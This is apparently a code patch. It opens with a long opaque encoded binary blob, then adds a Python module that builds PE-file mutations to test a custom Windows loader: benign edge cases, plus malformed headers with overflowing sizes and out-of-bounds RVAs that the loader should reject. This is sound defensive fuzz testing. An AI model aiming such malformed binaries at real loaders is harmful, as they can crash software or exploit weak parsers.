zNv*t`@$DXQCDQ^;fP#6nby6z%eT}V8&FR_oimw;sB{%liLrhj)S+8^9+DfinZ8+oj zRfAEczeU4XRGj^)>#L~7&J(G}ZL3Ca5EsLaWAnu0zBsc-Je)=7WLQ0;98}dCqwSNO zHD*1&?e&B{-ST}w>zb&mxni#3h=Z*JJKn2zb2H}h-PdJLj+wO5z4zhhW_qrPh}?Q| z{|Ct!_e(tTdug}+NWJ*|D(ju4Ot3=k1F7iY=Rs@&^Wg*MQchkQZ;Vfum0tEPy?b6+ z%Zbah(K))x3Gc?=mHF4ka_jAB#VZniMYcv#bEM|D#FtB+nNN;9tdOFj<726T)0&Z4 zW_6Gnq4&(R=BSdkYDnbVi~2Fv9(Ohn$;&)HWVrZa~R7 z$sN`2Bk4}z+R1;6S*56x{YOJ&RX$%l$?d4w6TGO(MD;8|g!*}t0Efr2H($jNov!l$rf)9hyuc+}YxE%GB;j zo(*>nM^^Oe&K@E+Z_(HBL~{;;-opgzC22tnKl?+W@rlJ9KY=VdCO0`dTp_%(_s<8k zQpAe7iL;e;k*?}1AwIUQ4foxmyKbAP^LL5nl#$6$oz%mh7X!PR+heQib>t-ZX4XE_ zEQS8!rY6CCL&Y#B%Qa^rQA##Pb=ta9m1ggpC!%jAk4KA%YN;w_E{|kZX>yIfE|4u~ zhGJ-Y{rK|{LISc8yI^3fWyr67MTBi2eyY$Fw|$m$Yd-!6`;{ zc6y#J|BFTX;|3PhF2(3p#*rQ14O#-((YdLSnqMs8f{f0@t|L3^67eB++HP!<<^>8YlxeVIB>#J_*s`7^BRHk&_R-H;nC^)qhCkW zS5q|%47(q-b#Ue`MUxV0+pQVAQuM<9R5+hHe-6(2ARKW``lZgL8Mf;jK2Z%=7C&31 z&drto_VZC(HVnJ-+aQR9RpX3qv0TS2?#FwYYC4l=$v&2b6cp-5zY%NmRsWz^*t30u zMoP+CHNZx^9VQ`=^t?=5ScjLq+`OlHJ(#xJS-NI9yU~Pya%qA0O{u$|*H1ZyV)>!7 zEUXT=mQ^=CPW71w=U#qm@_4dE_}ix^M3HY4b80pPtb}nAP z^cVd&_^rd}R|E3`-i%hiyuxqkuoeL!CCY5#u*+S20Yq(&Zial3H5|yLX%fl{piK;v zSkA|KHkme}KtAj&Y2j9odrJ4r>Wu%{I^VR6%>vTjanfod6`7Xn%y$*mvUc9p4w*fg zeGVh^uROEkmuOLDy#CNJSlg=`KjsW~soJ;8=~l*7bE-l-&TM24(o$+aKbm{fhaJZy z6xOhU`!@L*?o;uQ+7P0?;ZJ$ZkMk}Xx51w+zOvgKUi!$TLH@?vdtm!`3%hZe=f^hE z@}+G`3f1c_u(s(x8F@&Wc@kGpRcAh z!!#w6O)wk%Gjn~G)Pa$9zJcBLlC1c=4-O-r=Qst?Li}20q*VS7U8Wlpvq`#cAD!}L z*<>``pL`H@3BCKgy;jYxztXMz%xrBDt;i3D2PzN6eto9=r8bv-ctuD5XPfd17YER5~?i& zuJF;VzdgDArL4n{FK8>dtVuUQF^D53b^P6ONQu|;(Yk&Q(o5xLDh8uB6CVgE=C5R? z)w_S)7MM#TycT5+TQ#g)J{J30)mU7+ap<$5#*_hN<=dc(54Cixp0;l;&AHJm*~SP{$_QA^06Cl(ChEyNUF&-br(H6$#K>ISD|DnoIOr*%%Dej z=?^78w#x4=<))FAA9%i}_TZrxlJT|bg>LIrf1G&jxnUxA$$vvLaOHOQd^P=DtOqf% zyi=?x-H`&(;TwM$Pl`XF;dCFD-h96~*epAReZDrMbr*MJ?rj%Cg?7j8!y{U)C8I<_ zFPQyLq&pY_&E6}O!Z&2X-_uap%1-8$eq&CR9sKgoN|b~Bqq;Cn@ga^qf>N%Wc|+Ll z#{i+;))41F|k*WKo}6ZLTLs8y&gh25|d-P;|i!!;+4KtRnR0By;C`K8hF^=!QuB6Jb~-M5w#L!4g*)C!k&KSuuboq z`!?_1LleCR*R`FLHl#4~6viK}-)!|D`CiNN^19I~+k64mLi5s<@G41}*!ba@JfphZ zU}mj42hrb!#MK3pQTU{pT})&FHNv7@;SSkSWwEF7olSRb=~h zLj8wihkRpAGSH;J{ro7^_{u)P?afERA{*5 zmCA^RyoNSIks$9kOhp<11B3FsvNO*TGgXOsPEw(G7 ze(y8fTB`;Zm<$AcvKeb|l80GI*Oxfc#LXYQ=W6DwalXuuk|XOprTvYbYHa(X(Slp+ zIh)CXpm(e_is>Kk#oQ;x{7kf{!9}m-Kz$|yP0ZnK|3I_7$?ix%W`ELhy2|8Mdhe>d z^7-^t?6wJ&P@Z(Y?CR!rihjHPKZc)la--Qt-nz5umUe&L3?jTNajTANg8yc_qfSpk zy|EF8Q8Q&@!@zF6gxR(f5=_iaT} zp$6RCC>h~Z^&Y=$RiMkAsPLCv>c53~*mz_Y9{RGLG&`p^4P2{@theRUCLVfmHQYz@5%Rd^w_qokiV@0-0I zQJTlpt1QZ2562Exw!P|^1-pEjS%P~~W- zIBri+UX`APXI){yz_)8@`4wU4&QbRK!~L7rcKqImCBnHjJ`eQsU zDc@Z0SBrkXM=?IUdP4g>ZBW+<{g3#39LwPjk{vG%f^^&m3;hhU|I(TThXq%?vXfUR3|L%5R z{}g|M;){&0tptKRygh|y7-C-Nid<2UamD5%WqYE`GNK`;M$qkDa&MfW(D1~zIDLC{ zXc%F$PuM-xZ(j}G;!aucJ`0%rC3CMyEWJ1PEzu2cXKVw>in5;8Tg^gTE;l5f?>I%| zG8Gwn*haFZ35_dpl;SYXx!H1*sg=s4Kfzxp;r2GrK5e}vrHN^yzpRcx_X*y9>*QZhMw7ADsaqxj+MctKG91mErBzU!p-<7ouO zg#t9mf8w7HW^=(a=!8{Yq1z71Ir&H0|3}`5QVsEHR#lVgXLa(}P8^BAbC`uTk55gS zUoJ1jv07?(y%ioItlynb>=H~w1E+Tr5W4%y} zFq+?&vchc=(`=Yg!501TCO5moFRK|22yq7@BAKT&RYRVT>03`~a&znF^YhVKZKd?* zKe_rg;iGYwy#(!$80{7f>(X4=i*?RrdEyxb{vg@%50MN;6dE6{6!3~oNH=~j`A)lD zRq^ZW3B9ZLH5J>cVwD?$rC>J;cphYSkH@ZJd)|zw(kx;QeU=~c?Ki`#u<^epnUtiL zWA^eSC3Noi7o4dy=s5X^2#<2?S?_Lk@hXT z#=F^s6}KYqOB64$jQ4zv(^vdbW+!v+op6>`&sY8sZQQA3)2e_kj|;MDxm*}4@46<# zxW3kYGCK951o4HF2yW*saycDu(3F!#pBE^GRVE~ve&(0SYtv)d8u?VhgUacb(C-)b z#QXd)wYpyw3)B*$Kac}x6=S(K;OzOh8J$q$;%7VWj|Ca$4LE$mo-;| zLN<8`dQx(yf7Ekb`q{4fE+2P&ZfS#q&72^%;NevN8yywPCk0q5O9ZO-o%^(7{9|3! z?sR$>uo#~*q|M38DWdBlb9(=w&ucslubJG2$WHW$5iDIyZ|3Q$)%sGTwNf6{q*0OB zZR^gA0DZp<%VO%KEDj18HU_s))BC0jo7;+KY~(YQ2ibkn9ePL?n*~pkN&1`W-xjjG z7%cm{m&0{^&p39nr^3C_y#4u_@~4&mb-9&^9}<)U2NKr)M(WT@Q(r z-raiBvW;-lCUd=hX6dWJR6qM_~L^GMg5e9NwRYvu5vtdkGZS8u|t745wv4}J$G*A zja}P^(}V6mx-61(TBMFOVXBA-<+Pv`(tj$_(2-ZrJv5Q+Pi(KRwCX9d9F31Gdm1BdbNT#Ah5#Iaq-X zJ>SM8){;&u@7^g8%fhumw~F_M-0LS*X-QGsbfy1h}Q z0h|fld>x!p*FN#oi(4qt2B$pE%Euzp3mumo%w^4dR3h+zGm|VkF32`v_81IDN;O$s z(YXADYfYb)?Ut_5GqKO|;qYbon=ck%KK9FRhh%ysf2%ZRx$UrwUlWj-#l429OFon? zK^sm$m)3XSz@qbT=L!=8LO~XiS2?kj#tJo)qdsFemwF5TD(XLLa3ApK@X!NtX5Y%-tq(mUKCxo>XF&tI?)$+3ByF z&WHb1oMP>7Cm`_~GL&)`M>Id5I!nc5=+H5)wDQV3#l6L^;2jo?N#)?*m|ZD*BO+m9 z8Y#M`Q$KtCd`70~nN8m*`TNep=g5f{$YAv;%j@!6<@C7qH}jOkX+vrwI0*+TD{her zpB3;mb#wM;e$)0ujCPd6O2g_K%-Trk5WDc14K9UE2Ki%i2Ie=h6t%Q#-lsO(ey{8Ov> zd{IyJePXjNYKAQw(J5jR`+DBniJH6=)GskLaUNxMhojtWp~HP-*;loLJMV^ERN}X4 zHph#+Gv_T=HPc;m!%XHeA!}_;E}n7biR#>GrX0I0lGTa5(3r~WsaP%A$#X__<;VF< zAMaqZ;gC;Wir>b<4MCtXC$D<}%-vs4*bGE9eliol69Opj!-Iy8d zpIg4GuSBy>{?Q-yl{**g{~<&x%fst$SP(sI=nEd;V>1Uw zjF*?S{im?7B#ZRFIaN|}JJoSnWvy{{&(fa6r->h+CqvX`=0?_K6Tm{+9p4ajwtP!{89|y$2!NX zwr<(<_^Fvmh@xKsuB5%4qDoZA^%1^Mefvj@KfBWMj|HDFhCPP8iXf{T6k&Y+X(re^ z8*iKKNiWef<$SW-)F6R$$T^4UbFq;XYS9gG25O`We^W;-c}irUAkn+Y%9(F zmQn0v335L%?i``|Fo#`ZJ{yHz+2{2$GtbP6K=kz8;OGL%m&zIed(Mg@rf7zdVPD&Yj z+?$P_+3?_Dkqv`?7^^m2OdV%5IpgVj^A|DEt794Y+w0=@AHd!WOB+lvze3!yY>~c( zFg;iJvy3;?nZzRP;!2SI^;jkiU&7NNgx`NQQM_&IxPDIlUA!rYrP9-qwQo8nv2$L1 zdbHZS>u){6el@)Mol=q}&7WKLBVs46Dz>rf-eyaT`}!b-&+qX=`XiFn1}J?Wp6neR z+-$8eTc%9L4dc92Y%#s)YAzKJW5TaXPT!zPZ{$sCNzkYvY7zH#r=ULqr-`n`ZXwLby< zQPOugndq`Ze5e}u^ds&jEnbj4Wn_xi;FH2}o|4^2wZ_zaLI)gd0pW=`Y$nZoI5AYI(Er{p6J-e4e^MA&why zIRy8{KPqkbO_n(e*lk|*y=G%ei+E7lqfL@IH}_@ZyZ2pPm}#a*vAtgG$a_pj*hWoe zpnMA82>UOY9Gc6@(jS_bk)*`47gY+=^$^q$SE>3BT6{3_pn2P~#8G@g=VQ(9#3XFt z8T?0HraTEWN(v&(%;Y&=O<1`L{w!-1{os)--cG9vk4#jZzTKnQ7c_87PS&B4<|Eak zvJJ<9z|L>DzKU^uC&wmK?#Syi^W3iUFIMkl9ZQ&Re=d%@sD8!A)IlereYwCOSD`T| zP(guJDfK(?&p}5?CjlcrL*>g$mpDRt+6Pay3G=OXmu9P^rkOE5Gc@N<$f7L0a4lmL zcY=*aM1oxBgQu2&LGN7DM39~U`8VrFCWPN>=!cf-1FXif{`#HoYGaJmC=@YBaY*IZ zh|ug;%&fyy96idS53d4{ubg9q<}wPLaK4w#;8A?$fT*OL*)4?i-HMh0*)@#Y*B)S7WdH7imd^x{#NcZT7bBZo<|+jK^w#ppn$%Bvxo&!j|F6v3C`H#K+Fg=b1rJfHc= za#$=0wQBfY(zzG)h4||HpD}pl`wLg;^Un?FS-w`){oaU0V4=e3|#&jjB`^gkxFfj;q;-1n7lW6_J*x z-ND69@bkKwXEstDQfS?3Z_s;ZL-TWb*bfWd^IIghqv``6GZt!cgW`lxZ@)Hem>uAS#-)dPBuWyTWA5%a^u4 z;N`4n>mTCN_ z!Gfz%>(=_z)$sm)QnH*A6K=5y5p!d4d0Q&vYg4L4Y-?*QswpYqN!w=8dP$KaDjVsm z*`o`;+Jt<+=ACE3-TJ*Kwic1jFcYUIgy8;ufhFf$iSx>@`Zq5gl_XVRg~ilnvsk*F`;k~el1Pa% zxAaWty9sd{nvl-)g}{ig4l{i^gHY|8rnGAfg}a5x3B!+V)u(@E<6Y36zqfUv(P!nu z&{uEMq6`T_4Vs74y-dgS^iGvqGl>h$?N&TB*=rl(DX8QS(rlW4^~pi-X^HRmstZmr z%Si%pJkEab>vyhinp@!8M|BgfvX$Q%<4@Khj$XqY+V=m4Joa#h!>I?}TXrX2p5G{* zS1c|`ya!9CAGU4e=b{UKN>mdZ*BY*MC#|4-_HlbligRGWUAT4)_lUc+w7@Ik$Sd9G zR(>$Fu5O2~hz4$+5-23YW?%sd!4otk^M6tLS2k_r-fdRa`BL~yIOhd@eKvQU=_ZN^W^4Vi)o<6g`rtQ#1;98OD;% z35D?mtm7qN@w~m%{mE7&r0Sg=qaydIqOFvPEYs5u6WCq^_l0{t>twSR(bi`7G!e}E zU3|*xdpUPpTs4&`*=NjBHFHBxs>;8wo^NKe)Sk;C#J%e2=)T12 zK1Z?}$slQ}NM1ROalcCOkj)Od;Q!J9NMWV`IN#T2Ms;~(K!T741z3100;;q;^w z@g**`^;YyQf3H+!x$P?!IcN2hny%Hycu&G`!f(9l_L25@A`sOwyC?B6-9YbLc4>A% z*C;vJkLl`@7k9Rc*OE%Je{&AOT9{!Usq zKC875mJX*W)}GgrwcS|n+guP@Xrun1c;TjJUZ%paN73F+ro$<8dClx+_w

o?W6B zC%sXI_?BRHZ?q`l?Hj}u>xANlNO`7r6nOekPh`K3%r(tDoz3I>IK`oisf8tEoH=w% zgVcfz>~N1xTuH%E`9VXnQqy`X8KF+~uiKv<1y*jg$!si`zV>AD27?=+`!#nomeQ0N7HJ;Hz6}Cm{2dvlJ+3yt}=&RuGj0Rsk z*}1HG`r7)(*|n9(={frv9G$gil#_uM^4@tr5H~M7y?)6w|9kO!tpFlHOjQj5nlc7r z5hxA;s@h*)V-y*D{1mB~8YvgffhYVYA(IqQ@u<1BrLE#eQE}ZAuh)5!4+zqhysPWc z8&Z6);>2r>B}8M5ElAYylXwJ&#zhcsJnToq83Nj``FKlSpjXjyjJg>gKSauS#kgH* zwo5I}GDFd6HA|MfxWdA-G{=;b zH|`f*G7pY2CyLu0Pj6cltH2$LGvJ>sRxwqB?3Abks0K9q0;>6M9fF~oEib9TKe<}V z%Z|Uri<@f?+!nGgHmQ^4)1py$tk(<3xDwmhU-|f_+l?u>5pR_ z|CCiFx>k>WD);46MKU`}qt(`-S(`#JBI->1uk+F(eOZI!$0p~?kBj8t3wd(xDW3XV zob8Oo{*kIs@`KNJmvJTYi=roP;JSp4cKGzf62*9qn-uBQmrOV6$fr@6=Z?I7v!ZSG zl6&>DUz&U{{qnX4`_GaG+&RpuA5%yak1IG{s0g_;JHp@Zl_HZNjNOf!&&V;2>x{2- zhVk!}D6{f#n|_)jx{}ZU3t>9o0ao;_nTIvp#mdzYqsKvmqMCZCyJ%g8Ao(gH{EUY*|ufep)@|l zLXvj+#lW9MJS4?HRCc8q%bMX~9bJE?+YYW3xz#m;iuLDJEcT^gf~kcXn? zh77ZK)oNnDXI9!*e}BDsxl*LxgL8)hctob=?kEjm5_$GiE+bT(H%>S-x!c`;t(Q(45KzTISHN ziQFftoo>kl%9xTpt!s)m_uI4oC4n_pIJxRACmqaWK))`?@ifl#UAK~Kep{Db zq?DxngF_Z`#o`j)h;y|VVdZhJzb`YAt!aOy+0z+5y5t?L^W89yz2Z0g6-4>+wvn$Jh?XOI;$M*MBr)uMUJ=}Bao%lizo<=9bjta<*2OLAI@=-5 zYuGrKaj5_uVqvxA^cnB}fci#&bq4hlncspe@<&TYm)kIV_<2Gs*8P9M23(!(Ef!({ z>l<sGy>_9&EZ{aej@t4N z`A6!0{J;U4IivHwoBk6H;KA&G#<36q$B+U7+9U@7Yt2DGxCKPC1r&_}MEe2*(EtmD z2senrfgNJk0uATr=H_S*t=}`C90ELs^j80R=}~Vg9GA!b=nYU^qm?O7A`h6Hh2t!ZXW@KNX&yV1bbsh z6*}?Yy;A5#(hE?oAF!+gujz)WkD@{(=s0RT!K#g`K}RA>v!N66B0#(Ze1YR?S?ysW zL;~(VIRH!=VBEPnG~ECCzC&QD)=1|E!VP$ilCMX@Sz93Xi;f_m9TYx*z46BzbebLP zF0edzK{!Db-*`~*4Qw)^jfbE&VYm02GD09GA&LkVGyUx$;(s+pP|Z{)P*74(q?>I* zhwf+eAP`XDNR{%mps|2>3N)#;gKApbMfp8Az!kp3AR-*#mXJ~NP*kupF1`m-A;T4+ zaA3RXZUy5!tSziy?vO!|R}YY@RIuGNw1J=y1-CeqfZ#1EUI&O};fQdsf-Zh1pqPvx zzZf`*>0)gKcY#c?$UB`##WI7y<()?eivs_bCWXL1DN$nzUbV({VWJ@#SRmE2FDp34 zPJF-w3PMD@h9ZJ94{Y5aBCr{-LO4Mhh&+&7jP-d*&k+=QI$jl;-a|V*@b1`C@y3{@DED6;J{!xcmxz8^&ZqsfX6d=2u$>V&QTttLyc8G?2Vi7tKH;x=dzmX%L5Q%vSWvt*?yKEFhw1?eshuJ~v zB?k!u@Iq5`{75ilZla757rc{Z`+gJ^A`K(EGa#2I;877iizYfqpX)9)xMI1t$^ z9z}&n(BmlGf>-hnm%vCMK?_78D4q0ZpZTY?Q2VScW9Y0KTHM4Sr>VV%0HICr*hwBMUCNO#Y zS8@k|M}9-;7A)y0A`B{og;QlnNihmhM2Y_~k=Ynj+ZqUDypQ66qber}nCD_`169P4 zL=7casgtCbKs%ru1)A!fE!04Q!+;t2VWypohE@;z!C!N)_7X#U|)eX1aEj24ugf~VsM z+J7ut;6*ryr{hO}fd94MLSH_{oI-W9ta>KP=qhwzZ3c z_5R&R2!ID0X7FNwkQD^9hdCf%P!UH^B7(i-+-VTe!Erw^@Lzu?2*f<7E(GgUnGGF^ zETV#J>p_Qf6Cjv_-Ncn09r(X{?GOlvkK%#H@%%3d(@Q@nC{cl~vYO(81eKQiE?cYn%* zEK(j6oPif<%A%NDWKAt(*n`YF7<*CdXe?w)ii5l~I6j{h$HXGs$lD^8cV{8$8Km0q-ClT!%dXnpwCw0truu1kKpDA!H9I^aKm9%28ZbN2pFcV8uZ4 z0gvnul|&6hy^AWrhs<9xk?R&5g+m8sB|FE_bbJRmYk>@ie-aDpD&Q$#D~f6&I0S^u zHQxePZyQRpvB8sQZ}(xKnH|zY;Wm&-deFfdyn7wUJ%KJMvK$N|vo%A_D&XmpHXn^= zZSM*sB&{JlIyXZGKEQCnVW{%i5m1Qo^l|`D2@n;08&9_YjfiSC1wjZps3QcAVK+L= z6$nPwP~}?5k)a3UWC!O3nsCTHnk!T`vwsi?@WAH*8ig1jFEXF*ybjq6Nl5ei&@3XDHElz`4AaN9j zhmVB&5KcqK>c1z?AP8^!NgQAZ!4^|+?hw+_9y1Kc*f&Oh!Esc>?WXSmgoKh(g_`hKx zTV-89fx%NVk03hO6}oD}r2!U{p2p3DJq7OGpK5#bWr!XcEswvBk6c|dz!?{j% zQB0y49J&<1{-Fzyb^vE~|0*0oMVjt^Z%9E9j1K$-?4*8IF}cX=s1QYllc+%juV2TM z{y|+~K-L_xt=2(*4DiZ_TLpt>hI;x00>vf)R)pk&a~+6lXiTVzDE9je0nr`2cvVnE zLs?tG9iY1(a8UmUHX4{3I?&e4(iY}mV+~oP`wl1+nFs_!Th-B^wuqZIfi`Z)T_r@8 znhdDb517Ni;b%?*4GJ_Hgt;MHpbB`aNHKw#1U!K?8K4nw@6TMoJvs}RD^%G1)I7$b ztR2kqwyP5ive14I1;A-*Nh36*tEdn}138CME7*GcjKMGmM@vV?+i<9q+CmRl z&$+{n`N9MZ>IQSL0t%ubk`mdk1{rj~DlNS84~Q%Rfe01}z>qi4!AlR{yI>e(xt$o4 zY~UcS?0FbxCL{=1%t=Nu!S2uKb(nbvGNKGXgaKb*rLG+!LbhBcM9swDy@;bXSU})9 z33SP;f3L%%pC!M(hk=ABd38|i2ljkb9}M3A-hqc;_LoHsBiL}VeUE@bB&HII2p&mx zzeB|Ty^9WkkSPEX8EwGJxPn7S=#G!Jk;aN~6nNhsEFyH5y#767jc%z`0cbqPj;ari z#=$2!q(LASWKrhdbI9nDT?+=$4jxB_z)}txQGtEX;Q>|LtL~MGa-Qfd;byLXxE~^P$+NB{ChYNoyhkXO#Jt# z5(Gm2dr}Y`861O#Jp8~Q1k?lH1TP?`Vh>S~yT|{Y-GhJ`3Cvi?-5l74e#QM`9z23} z@V*@c(Doytjq#Y!gGcBffbQ3@02@fKb~_U=p{VEHAYdMhD0s2Vo{Yu>PV68%ms~>X z6=VIu{RE6dJ-P*fc>mt2LU$A06fkc;7C^Qk`1c4DI@2)~%>2(sAcGf|2GaFun{b*pTK{yHdt7~PYHp){U2um%t` bytearray: + if not os.path.exists(path): + raise MutationError(f"Source file does not exist: {path}") + if os.path.getsize(path) < 0x40: + raise MutationError( + f"Source file too small to contain a valid PE DOS Header: {path}" + ) + with open(path, "rb") as f: + return bytearray(f.read()) + + +def _write(path: str, data: bytes) -> None: + with open(path, "wb") as f: + f.write(data) + + +def _pe_modify(src: str, dst: str, modifier: Callable) -> None: + """Load a PE with safety checks, apply structural modifier, write the result.""" + if pefile is None: + raise MutationError("pefile is not installed in the execution environment") + + try: + pe = pefile.PE(src) + except Exception as e: + raise MutationError(f"pefile failed to parse baseline image: {e}") + + try: + modifier(pe) + _write(dst, pe.write()) + except Exception as e: + raise MutationError(f"Modification execution error: {e}") + finally: + pe.close() + + +# ── Benign Edge-Cases (Windows Loads Them, Your Loader Must Too) ───────────── + + +def unaligned_sections(src: str, dst: str) -> None: + """Force equal Section and File alignments (0x200). + Commonly seen in hyper-optimized or packed malware binaries. If your loader + hardcodes assumptions about 4KB (0x1000) page alignments, it will fail to map this. + """ + + def _apply(pe): + if hasattr(pe, "OPTIONAL_HEADER") and pe.OPTIONAL_HEADER: + pe.OPTIONAL_HEADER.SectionAlignment = 0x200 + pe.OPTIONAL_HEADER.FileAlignment = 0x200 + + _pe_modify(src, dst, _apply) + + +def strip_relocs_from_exe(src: str, dst: str) -> None: + """Strip the relocation directory entirely and set IMAGE_FILE_RELOCS_STRIPPED. + Windows can run EXEs without a .reloc section if they manage to land at their + preferred ImageBase. Your loader shouldn't aggressively demand relocations for EXEs. + """ + + def _apply(pe): + pe.FILE_HEADER.Characteristics |= 0x0001 # IMAGE_FILE_RELOCS_STRIPPED + if len(pe.OPTIONAL_HEADER.DATA_DIRECTORY) > 5: + pe.OPTIONAL_HEADER.DATA_DIRECTORY[5].VirtualAddress = 0 + pe.OPTIONAL_HEADER.DATA_DIRECTORY[5].Size = 0 + + _pe_modify(src, dst, _apply) + + +def garbage_dos_stub(src: str, dst: str) -> None: + """Overwrite the DOS stub with deterministic garbage. + Only bytes 0-1 (MZ) and 0x3C-0x3F (e_lfanew) matter. Tests if your loader's parser + correctly seeks using offsets instead of reading linearly through the DOS stub. + """ + data = _read(src) + e_lfanew = struct.unpack_from(" None: + """Append 4 KB of junk after the last section. + Legitimate installers and SFX archives append data beyond declared section boundaries. + The loader must map the image based strictly on headers, ignoring raw trailing bytes. + """ + data = _read(src) + overlay = bytes([(i * 13 + 0x37) & 0xFF for i in range(4096)]) + _write(dst, data + overlay) + + +def null_section_names(src: str, dst: str) -> None: + """Zero out every section name string. + Section names are advisory and non-functional. If your loader matches strings + un-safely or logs names via unchecked printFs, this exposes string boundaries bugs. + """ + + def _apply(pe): + for section in pe.sections: + section.Name = b"\x00" * 8 + + _pe_modify(src, dst, _apply) + + +# ── Breaking Stressors (Parser Verification, to be Rejected) ────────────────── + + +def corrupt_reloc_block_size(src: str, dst: str) -> None: + """Set the first Base Relocation block's SizeOfBlock to 0xFFFFFFFF. + If your loader parses relocations using a `while` loop or basic pointer addition + without tracking boundaries against the data directory's size, this triggers a + catastrophic 0xC0000005 pointer overflow loop. + """ + + def _apply(pe): + if len(pe.OPTIONAL_HEADER.DATA_DIRECTORY) > 5: + dir_reloc = pe.OPTIONAL_HEADER.DATA_DIRECTORY[5] + if dir_reloc.VirtualAddress != 0 and dir_reloc.Size > 0: + offset = pe.get_offset_from_rva(dir_reloc.VirtualAddress) + if offset and (offset + 8 <= len(pe.__data__)): + # Use pefile's built-in memory-safe modifier instead of direct mmap assignment + pe.set_bytes_at_offset(offset + 4, b"\xff\xff\xff\xff") + + _pe_modify(src, dst, _apply) + + +def massive_size_of_headers(src: str, dst: str) -> None: + """Set SizeOfHeaders to 0xFFFFFFFF. + Verifies your loader checks limits before executing: + `memcpy(allocated_memory, raw_buffer, nt_headers->OptionalHeader.SizeOfHeaders);` + """ + + def _apply(pe): + if hasattr(pe, "OPTIONAL_HEADER") and pe.OPTIONAL_HEADER: + pe.OPTIONAL_HEADER.SizeOfHeaders = 0xFFFFFFFF + + _pe_modify(src, dst, _apply) + + +def section_truncated_raw_data(src: str, dst: str) -> None: + """Inflate a section's SizeOfRawData beyond the physical boundaries of the file. + Tests if the loader maps sections using `SizeOfRawData` blindly without ensuring + the backing source file buffer actually holds those bytes. + """ + + def _apply(pe): + if pe.sections: + pe.sections[0].SizeOfRawData = 0x7FFFFFFF + + _pe_modify(src, dst, _apply) + + +def section_integer_overflow(src: str, dst: str) -> None: + """Set a section's VirtualSize and SizeOfRawData to 0xFFFFFFFF. + Exercises whether allocation arithmetic formulas inside your engine, such as + `NextSectionVA = CurrentSectionVA + ALIGN(VirtualSize, Alignment)`, can be exploited + via integer wrap-arounds. + """ + + def _apply(pe): + if pe.sections: + pe.sections[0].SizeOfRawData = 0xFFFFFFFF + pe.sections[0].Misc_VirtualSize = 0xFFFFFFFF + + _pe_modify(src, dst, _apply) + + +def section_overlap_corruption(src: str, dst: str) -> None: + """Collapse all section file offsets back down to zero. + Forces headers and execution directories to overlap within memory mappings. + Catches file alignment normalization bugs inside custom tracking systems. + """ + + def _apply(pe): + for section in pe.sections: + section.PointerToRawData = 0x00000000 + + _pe_modify(src, dst, _apply) + + +def corrupt_pe_signature(src: str, dst: str) -> None: + """Replace the PE\\0\\0 signature with invalid garbage.""" + data = _read(src) + e_lfanew = struct.unpack_from(" None: + """Point e_lfanew 1 MB past the end of the file buffer.""" + data = _read(src) + struct.pack_into(" None: + """Set SizeOfImage to 0. Processing allocation maps must be rejected.""" + + def _apply(pe): + if hasattr(pe, "OPTIONAL_HEADER") and pe.OPTIONAL_HEADER: + pe.OPTIONAL_HEADER.SizeOfImage = 0 + + _pe_modify(src, dst, _apply) + + +def corrupt_import_rva(src: str, dst: str) -> None: + """Point the import directory directory entry to an unmapped RVA address (0xDEAD0000).""" + + def _apply(pe): + if hasattr(pe, "OPTIONAL_HEADER") and pe.OPTIONAL_HEADER: + if len(pe.OPTIONAL_HEADER.DATA_DIRECTORY) > 1: + pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].VirtualAddress = 0xDEAD0000 + + _pe_modify(src, dst, _apply) + + +def corrupt_export_rva(src: str, dst: str) -> None: + """Point the export directory entry to an unmapped RVA address.""" + + def _apply(pe): + if hasattr(pe, "OPTIONAL_HEADER") and pe.OPTIONAL_HEADER: + if len(pe.OPTIONAL_HEADER.DATA_DIRECTORY) > 0: + pe.OPTIONAL_HEADER.DATA_DIRECTORY[0].VirtualAddress = 0xDEAD0000 + + _pe_modify(src, dst, _apply) + + +def huge_sections_count(src: str, dst: str) -> None: + """Set NumberOfSections to 0xFFFF to trigger parsing bounds protection.""" + data = _read(src) + e_lfanew = struct.unpack_from(" None: + """Overwrite the null-terminating IMAGE_IMPORT_DESCRIPTOR with garbage. + Catches loaders that iterate imports with a `while(entry->Name != 0)` loop + without checking if they have exceeded the Import Directory's boundary. + """ + + def _apply(pe): + if hasattr(pe, "DIRECTORY_ENTRY_IMPORT") and pe.DIRECTORY_ENTRY_IMPORT: + import_dir_rva = pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].VirtualAddress + offset = pe.get_offset_from_rva(import_dir_rva) + if offset: + # Calculate where the null terminator descriptor is located. + # Each IMAGE_IMPORT_DESCRIPTOR is exactly 20 bytes. + num_imports = len(pe.DIRECTORY_ENTRY_IMPORT) + null_desc_offset = offset + (num_imports * 20) + if null_desc_offset + 20 <= len(pe.__data__): + # Overwrite the null terminator using safe memory map API + pe.set_bytes_at_offset(null_desc_offset, b"\xff" * 20) + + _pe_modify(src, dst, _apply) + + +def massive_export_count(src: str, dst: str) -> None: + """Set NumberOfFunctions and NumberOfNames in the Export Directory to 0xFFFFFFFF. + Catches loaders that try to allocate tracking arrays based on these values + or iterate over them without bounds checking. + """ + + def _apply(pe): + if hasattr(pe, "DIRECTORY_ENTRY_EXPORT") and pe.DIRECTORY_ENTRY_EXPORT: + export_dir_rva = pe.OPTIONAL_HEADER.DATA_DIRECTORY[0].VirtualAddress + offset = pe.get_offset_from_rva(export_dir_rva) + if offset and (offset + 40 <= len(pe.__data__)): + # NumberOfFunctions is at offset + 20 + # NumberOfNames is at offset + 24 + pe.set_bytes_at_offset(offset + 20, b"\xff\xff\xff\xff") + pe.set_bytes_at_offset(offset + 24, b"\xff\xff\xff\xff") + + _pe_modify(src, dst, _apply) + + +def oob_entry_point(src: str, dst: str) -> None: + """Point AddressOfEntryPoint outside the mapped SizeOfImage boundaries. + The loader must validate that the entry point RVA lands inside a valid, + mapped executable section before attempting to pass execution flow. + """ + + def _apply(pe): + if hasattr(pe, "OPTIONAL_HEADER") and pe.OPTIONAL_HEADER: + # Set EP 4KB past the end of the entire loaded image + pe.OPTIONAL_HEADER.AddressOfEntryPoint = ( + pe.OPTIONAL_HEADER.SizeOfImage + 0x1000 + ) + + _pe_modify(src, dst, _apply) + + +# ── Mutation Registry ─────────────────────────────────────────────────────── + + +@dataclass +class Mutation: + """Describes a single PE mutation configuration structure.""" + + name: str # Short string identifier + description: str # Human-readable status label + apply: Callable # Target modification logic function pointer + expect_loadable: ( + bool # True = Matrix expects operational success; False = Graceful rejection + ) + applies_to: str = "both" + + +BENIGN_MUTATIONS: List[Mutation] = [ + Mutation( + "unaligned_sec", + "Unaligned sections (0x200 alignment)", + unaligned_sections, + True, + ), + Mutation( + "stripped_relocs", + "Stripped reloc directory (.reloc removed)", + strip_relocs_from_exe, 